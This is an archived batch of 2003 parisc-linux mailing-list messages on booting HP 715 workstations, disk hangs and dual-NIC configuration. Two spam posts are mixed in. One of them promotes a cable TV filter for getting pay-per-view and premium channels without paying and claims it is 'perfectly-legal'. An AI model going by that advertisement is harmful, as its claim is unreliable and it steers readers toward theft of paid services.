NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 13:45:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from imo-r05.mx.aol.com (imo-r05.mx.aol.com [152.163.225.101])
	by dsl2.external.hp.com (Postfix) with ESMTP id 13AA04840
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Nov 2003 13:45:13 -0700 (MST)
Original-Received: from JjDunnjr@aol.com
	by imo-r05.mx.aol.com (mail_out_v36_r1.1.) id n.171.26ba943e (17377)
	 for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Nov 2003 15:45:02 -0500 (EST)
X-Mailer: 8.0 for Windows sub 6803
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20168

--part1_171.26ba943e.2cefd34e_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

To all who took the time to reply, thank you
Progress to date:
1. Set jumper to 512 k sector on the TEAC.  715/75 recognized it as a 
different model.
2. It spun the disk upon issuing the "bo P2" command, however, i still got 
the
ENTRY_INIT =-4 message

I will try to do a net boot next

if that fails, I will try to copy onto the boot 715/75 hard drive the 
necessary files.  Which leads me to my next question, which files(s) would be 
necessary for the 715/75 to boot

Would "lifimage" be enough or should i place "rescue.bin", "linux.bin" and 
"drivers.gz" on the hard drive

Thanks in advance for your remarkable response.

jack dunn

--part1_171.26ba943e.2cefd34e_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<HTML><FONT FACE=3Darial,helvetica><FONT  SIZE=3D2 FAMILY=3D"SANSSERIF" FACE=
=3D"Arial" LANG=3D"0">To all who took the time to reply, thank you<BR>
Progress to date:<BR>
1. Set jumper to 512 k sector on the TEAC.&nbsp; 715/75 recognized it as a d=
ifferent model.<BR>
2. It spun the disk upon issuing the "bo P2" command, however, i still got t=
he<BR>
ENTRY_INIT =3D-4 message<BR>
<BR>
I will try to do a net boot next<BR>
<BR>
if that fails, I will try to copy onto the boot 715/75 hard drive the necess=
ary files.&nbsp; Which leads me to my next question, which files(s) would be=
 necessary for the 715/75 to boot<BR>
<BR>
Would "lifimage" be enough or should i place "rescue.bin", "linux.bin" and "=
drivers.gz" on the hard drive<BR>
<BR>
Thanks in advance for your remarkable response.<BR>
<BR>
jack dunn</FONT></HTML>

--part1_171.26ba943e.2cefd34e_boundary--


From - Thu Nov 08 21:30:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Processes stuck in D state on 715/100XC with 2.4.22-pa17
Date: Fri, 21 Nov 2003 20:58:18 +0000
Lines: 58
Approved: news@gmane.org
Message-ID: <3FBE7C6A.3010104@tiscali.be>
References: <3FB265EC00003DBD@ocpmta3.freegates.net> <Pine.LNX.4.58.0311190913310.1125@brain.fop.ns.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622983 2138 80.91.229.3 (22 Nov 2014 02:23:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:03 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Steve Bromwich <lists@fop.ns.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 13:58:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0049A4840
	for <parisc-linux@parisc-linux.org>; Fri, 21 Nov 2003 13:58:01 -0700 (MST)
Original-Received: from [62.235.121.47] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ANILo-0003NW-0s; Fri, 21 Nov 2003 21:58:00 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <Pine.LNX.4.58.0311190913310.1125@brain.fop.ns.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20169

Hi Steve,

Steve Bromwich wrote:
>>>Just to clarify, this is happening during operation, not bootup. Next time
>>>it happens (probably tomorrow morning) I'll break on serial and try
>>>piminfo
> 
> 
> So much for that idea - I forgot I had magic sysrq on, so break just gave
> me the usual sysrq options. I'll recompile without sysrq over the weekend
> and see what happens, but in the meantime I've reverted to 2.4.18 to see
> if I get the same problem, just to make sure it's not faulty hardware. I
> checked ps, and all the processes in D state were ones that touch the
> drive (eg, find, exim, apache).
> 
> I've got a J class at work that's not in production, so if I get time I'll
> try it out with the same config (or at least, the closest I can get) just
> to make sure it's not something obviously wonky in my config.
> 
well, but those system are widly different (cpu, architecture, ...).
> 
>>May be if you can, run hp diag tools?
> 
> 
> I don't have a CD in that machine - do you know if there's any netbootable
> images I can use? I have an HPUX 11.0 CD set, so if there's something I
> can pull off there I'll be good to go.
> 
Good question? never have to test it but it is a bootable cd (I don't 
remember if it is available via internet?) so if you copy it's image 
(with dd) on a system, i think that following the faq how-to netboot 
<http://parisc-linux.org/faq/index.html#netboot> , it would works?
> 
>>(I have no clue about 715 model but well running 2.4.22 (and above) on various
>>b180, b2k, c110, N4000 and i have never encounter such pb?)
> 
> 
> Well, the frustrating thing is is that there's no debug output anywhere
> that I can find that's showing anything obviously wrong.
Don't feel alone, during severall month (2, 3, 4, ... I don't want to 
remember) I try to get just a panic message from a smp kernel on a N4k 
: no success :_(
...

> I had a skim
> through lasi700.c/.h and couldn't see anything that'd help, do you know if
> there's any debug/printks I can scatter anywhere to give me some pointers?
>
Sorry, I couldn't help here.

hmm, what kind of disk have you on your D: hot-swapable or fixed?
(with fixed disk, I already encounter a pb of flat cable and with 
hot-swap disk a pb with dust on disks' support)

Cheers,
	Joel



From - Thu Nov 08 21:30:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Fri, 21 Nov 2003 21:44:18 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <3FBE8732.2050705@tiscali.be>
References: <3F969FFE00009EA4@ocpmta2.freegates.net> <3F969FFE00009F73@ocpmta2.freegates.net> <20031110173525.GC24664@colo.lackof.org> <3FB0DC01.6070701@tiscali.be> <20031112032230.GB12000@colo.lackof.org> <3FB68167.10106@tiscali.be> <Pine.LNX.4.58.0311152220070.16980@sal.ucc.ie> <Pine.LNX.4.58.0311152313340.16980@sal.ucc.ie> <3FB7AD39.9010305@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622984 2141 80.91.229.3 (22 Nov 2014 02:23:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:04 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 14:44:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9751B4840
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Nov 2003 14:44:01 -0700 (MST)
Original-Received: from [62.235.121.47] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ANJ4J-0004oY-JG; Fri, 21 Nov 2003 22:43:59 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <3FB7AD39.9010305@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20170

Hi all,


Joel Soete wrote:
> 
> 
> M. Grabert wrote:
> 
>> Sorry to reply myself,
> 
this is me now ;)

A small follow-up: I exchange my 3com with another hp nic (the same as 
the first one).

The pb now, is that the new one become eth0 (and works fine) but the old 
one (which would be eth1) is not any-more usable (no means to configure 
to setup and configure it):
# cat /proc/pci
[...]
   Bus  0, device  11, function  0:
     Ethernet controller: Hewlett-Packard Company J2585B HP 10/100VG PCI 
LAN Ada
ter (rev 0).
       IRQ 9.
       Master Capable.  Latency=64.  Min Gnt=8.Max Lat=32.
       I/O at 0xe000 [0xe0ff].
       Non-prefetchable 32 bit memory at 0xeb000000 [0xeb001fff].
   Bus  0, device  12, function  0:
     Ethernet controller: Hewlett-Packard Company J2585B HP 10/100VG PCI 
LAN Ada
ter (#2) (rev 0).
       IRQ 10.
       Master Capable.  Latency=64.  Min Gnt=8.Max Lat=32.
       I/O at 0xe400 [0xe4ff].
       Non-prefetchable 32 bit memory at 0xeb002000 [0xeb003fff].
[...]

Any idea?

Thanks again,
	Joel



From - Thu Nov 08 21:30:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Fri, 21 Nov 2003 22:37:26 +0000
Lines: 62
Approved: news@gmane.org
Message-ID: <3FBE93A6.9010008@tiscali.be>
References: <3F969FFE00009EA4@ocpmta2.freegates.net> <3F969FFE00009F73@ocpmta2.freegates.net> <20031110173525.GC24664@colo.lackof.org> <3FB0DC01.6070701@tiscali.be> <20031112032230.GB12000@colo.lackof.org> <3FB68167.10106@tiscali.be> <Pine.LNX.4.58.0311152220070.16980@sal.ucc.ie> <Pine.LNX.4.58.0311152313340.16980@sal.ucc.ie> <3FB7AD39.9010305@tiscali.be> <3FBE8732.2050705@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622984 2147 80.91.229.3 (22 Nov 2014 02:23:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:04 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 15:37:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 291A64840
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Nov 2003 15:37:08 -0700 (MST)
Original-Received: from [62.235.120.136] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ANJti-0006IQ-Mv; Fri, 21 Nov 2003 23:37:06 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <3FBE8732.2050705@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20171

Hi all,

Joel Soete wrote:
> Hi all,
> 
> 
> Joel Soete wrote:
> 
>>
>>
>> M. Grabert wrote:
>>
>>> Sorry to reply myself,
>>
>>
> this is me now ;)
Again, apologies

> 
> A small follow-up: I exchange my 3com with another hp nic (the same as 
> the first one).
> 
> The pb now, is that the new one become eth0 (and works fine) but the old 
> one (which would be eth1) is not any-more usable (no means to configure 
> to setup and configure it):
> # cat /proc/pci
> [...]
>   Bus  0, device  11, function  0:
>     Ethernet controller: Hewlett-Packard Company J2585B HP 10/100VG PCI 
> LAN Ada
> ter (rev 0).
>       IRQ 9.
>       Master Capable.  Latency=64.  Min Gnt=8.Max Lat=32.
>       I/O at 0xe000 [0xe0ff].
>       Non-prefetchable 32 bit memory at 0xeb000000 [0xeb001fff].
>   Bus  0, device  12, function  0:
>     Ethernet controller: Hewlett-Packard Company J2585B HP 10/100VG PCI 
> LAN Ada
> ter (#2) (rev 0).
>       IRQ 10.
>       Master Capable.  Latency=64.  Min Gnt=8.Max Lat=32.
>       I/O at 0xe400 [0xe4ff].
>       Non-prefetchable 32 bit memory at 0xeb002000 [0xeb003fff].
> [...]
> 
> Any idea?
> 
I found: ether=9,0,eth0 ether=10,0,eth1 as additional bootparam.

It works but I am confused:
at the office I also have two nic (well of tulip model) on my b2k but I 
never have to add any bootparam to make recognise the second card?
Is it linked with the model capability?

Thanks,
	Joel

PS:  ft problem seems to be solved :)
hmm this 3com works perfectly with 10BT-hd at the office but connected 
this time to a hub (10BT capable) :0



From - Thu Nov 08 21:30:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Amanda Whittaker" <g6eyaewv@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STOP-PAYING For Your PAY-PER-VIEW, Movie Channels, Mature Channels...iniko
Date: Fri, 21 Nov 2003 20:17:13 -0300
Lines: 57
Approved: news@gmane.org
Message-ID: <0$8t-e0487x9i$707ohkeh6@rqzkm.cdt>
Reply-To: "Amanda Whittaker" <g6eyaewv@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="00F4.C_A_391F_66_E59.5"
X-Trace: ger.gmane.org 1416622984 2150 80.91.229.3 (22 Nov 2014 02:23:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:04 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 16:23:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [142.59.143.153])
	by dsl2.external.hp.com (Postfix) with SMTP id 41A444840
	for <parisc-linux@parisc-linux.org>; Fri, 21 Nov 2003 16:23:19 -0700 (MST)
Original-Received: from [112.66.31.149] by 192.25.206.7 with SMTP; Fri, 21 Nov 2003 20:17:13 -0300
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20172

--00F4.C_A_391F_66_E59.5
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

Cable TV Subscribers

Get Our Cable TV Filter and Stop-Paying For Your Pay-Per-View, Mature Chan=
nels, Movie Channels, Sporting Events...


Find Out More - www.esavingsplus.com?refid=3D10010000859429816


Don't worry, it's perfectly-legal.  


Check out our legal page on the site: www.esavingsplus.com?refid=3D1001000=
0859429816







No more advertisments -  http://www.esavingsplus.com?unsub=3D1001000085942=
9816

























k rcdghftuxkq

--00F4.C_A_391F_66_E59.5--



From - Thu Nov 08 21:30:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Osvaldo Luiz Loose" <osvaldoloose@pop.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 93C46 reading via RS-232 port - Please Help me
Date: Fri, 21 Nov 2003 21:36:12 -0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20031121233612.21746.qmail@webmail1.pop.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622985 2153 80.91.229.3 (22 Nov 2014 02:23:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 16:36:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.pop.com.br (webmail1.pop.com.br [200.175.8.33])
	by dsl2.external.hp.com (Postfix) with SMTP id 4D38D4840
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Nov 2003 16:36:21 -0700 (MST)
Original-Received: (qmail 21747 invoked by uid 89); 21 Nov 2003 21:36:12 -0200
Importance: normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20173

Hello Paul 

I need a peace of code in ANSI C (Linux), to read data from an
EEPROM 93C46, connected to the RS232 port of an IBM-PC. (Only
read). I found some code for PIC and 8051 but not for IBM-PC.
Can You help me please ? Thank You very much, 

osvaldoloose@pop.com.br 

 

-- 
POP. Nem parece internet grtis. 

Seja POP voc tambm!
Acesse: http://www.pop.com.br/discador.html e baixe o POPdiscador.


From - Thu Nov 08 21:30:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rena Bergman" <16dqfl@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Remote-Control Boats & Cars - Xmas Gifts.....Jaron
Date: Fri, 21 Nov 2003 20:29:02 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <nf58a$2ag8q8oz236x1590f56uk@psyuqvika>
Reply-To: "Rena Bergman" <16dqfl@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="F2_C82.0A3907_3C.D87468"
X-Trace: ger.gmane.org 1416622985 2155 80.91.229.3 (22 Nov 2014 02:23:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:05 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 17:33:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F9EA4840
	for <parisc-linux@parisc-linux.org>; Fri, 21 Nov 2003 17:33:13 -0700 (MST)
Original-Received: from zebra.pdarvas.hu (zebra.pdarvas.hu [195.56.143.181])
	by cuprel1.hp.com (Postfix) with SMTP id AB2B2C74
	for <parisc-linux@parisc-linux.org>; Fri, 21 Nov 2003 16:33:06 -0800 (PST)
Original-Received: from [206.232.154.229] by zebra.pdarvas.hu id <7349003-68360>; Fri, 21 Nov 2003 20:29:02 -0400
X-Mailer: The Bat! (v1.52f) Business
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20174

--F2_C82.0A3907_3C.D87468
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<p>New Mini Remote Control Cars &amp; Boats.</p>
<IMG SRC=3D"http://www.onii.org/images/home/stunt_flip.gif" ALT=3D""><a hr=
ef=3D"http://www.mini-cars-n-boats2003.com/?axel=3D49">Follow Us For Fun..=
</a><br>
<p>Turbo Twister Mini RC stunt cars are the newest RC stunt cars in 
the world! These 2 1/2 inch stunt cars rotate, flip, and tumble everywhere=
!</p>
<IMG SRC=3D"http://www.onii.org/images/home/car_purple.jpg" ALT=3D""><a hr=
ef=3D"http://www.mini-cars-n-boats2003.com/?axel=3D49">Follow Us For Fun..=
</a><br>
<p>Honda S2000 (yellow) - fully functional wireless remote control (Radio-=
frequency)</p>
<IMG SRC=3D"http://www.onii.org/images/home/boat_yellow.jpg" ALT=3D""><a h=
ref=3D"http://www.mini-cars-n-boats2003.com/?axel=3D49">Follow Us For Fun.=
.</a><br>
<p>Mini RC Ocean Runner Boat (yellow) - Fully functional remote control bo=
at with 6 way remote control.</p>
<br>
<br>
<br>
<br>
<a href=3D"http://www.aqmp.net/out5s/rem2e.asp">No more advertisements</a>=
</p>
<br>
<br>
<br>
<br>qpyc ltov ny rai vxkp xc kw rn  m
h
  ekwhgc nwdh xi p  kosuf rdhajv

--F2_C82.0A3907_3C.D87468--



From - Thu Nov 08 21:30:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Bromwich <lists@fop.ns.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Processes stuck in D state on 715/100XC with
 2.4.22-pa17
Date: Fri, 21 Nov 2003 21:55:59 -0400 (AST)
Lines: 69
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311212145230.21213@brain.fop.ns.ca>
References: <3FB265EC00003DBD@ocpmta3.freegates.net>
 <Pine.LNX.4.58.0311190913310.1125@brain.fop.ns.ca> <3FBE7C6A.3010104@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622985 2157 80.91.229.3 (22 Nov 2014 02:23:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 18:56:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from brain.fop.ns.ca (u135n18.eastlink.ca [24.224.135.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id D49CA4840
	for <parisc-linux@parisc-linux.org>; Fri, 21 Nov 2003 18:56:06 -0700 (MST)
Original-Received: from lists (helo=localhost)
	by brain.fop.ns.ca with local-esmtp (Exim 3.35 #1 (Debian))
	id 1ANN0C-0005dj-00; Fri, 21 Nov 2003 21:56:00 -0400
In-Reply-To: <3FBE7C6A.3010104@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20175

Hi Joel,

On Fri, 21 Nov 2003, Joel Soete wrote:

> Hi Steve,
>
> Steve Bromwich wrote:
> >
> > I've got a J class at work that's not in production...

> well, but those system are widly different (cpu, architecture, ...).

Well, my plan was something like this:

1. Install Linux on the J200, replicate my 715, and then compile the
kernel as closely as possible to how it is in the 715. Run the J200 like
that for a day or two and see if I can duplicate the problem. If so, diag
further on there.

2. If the problem does not appear on the J200, resync with the 715 and put
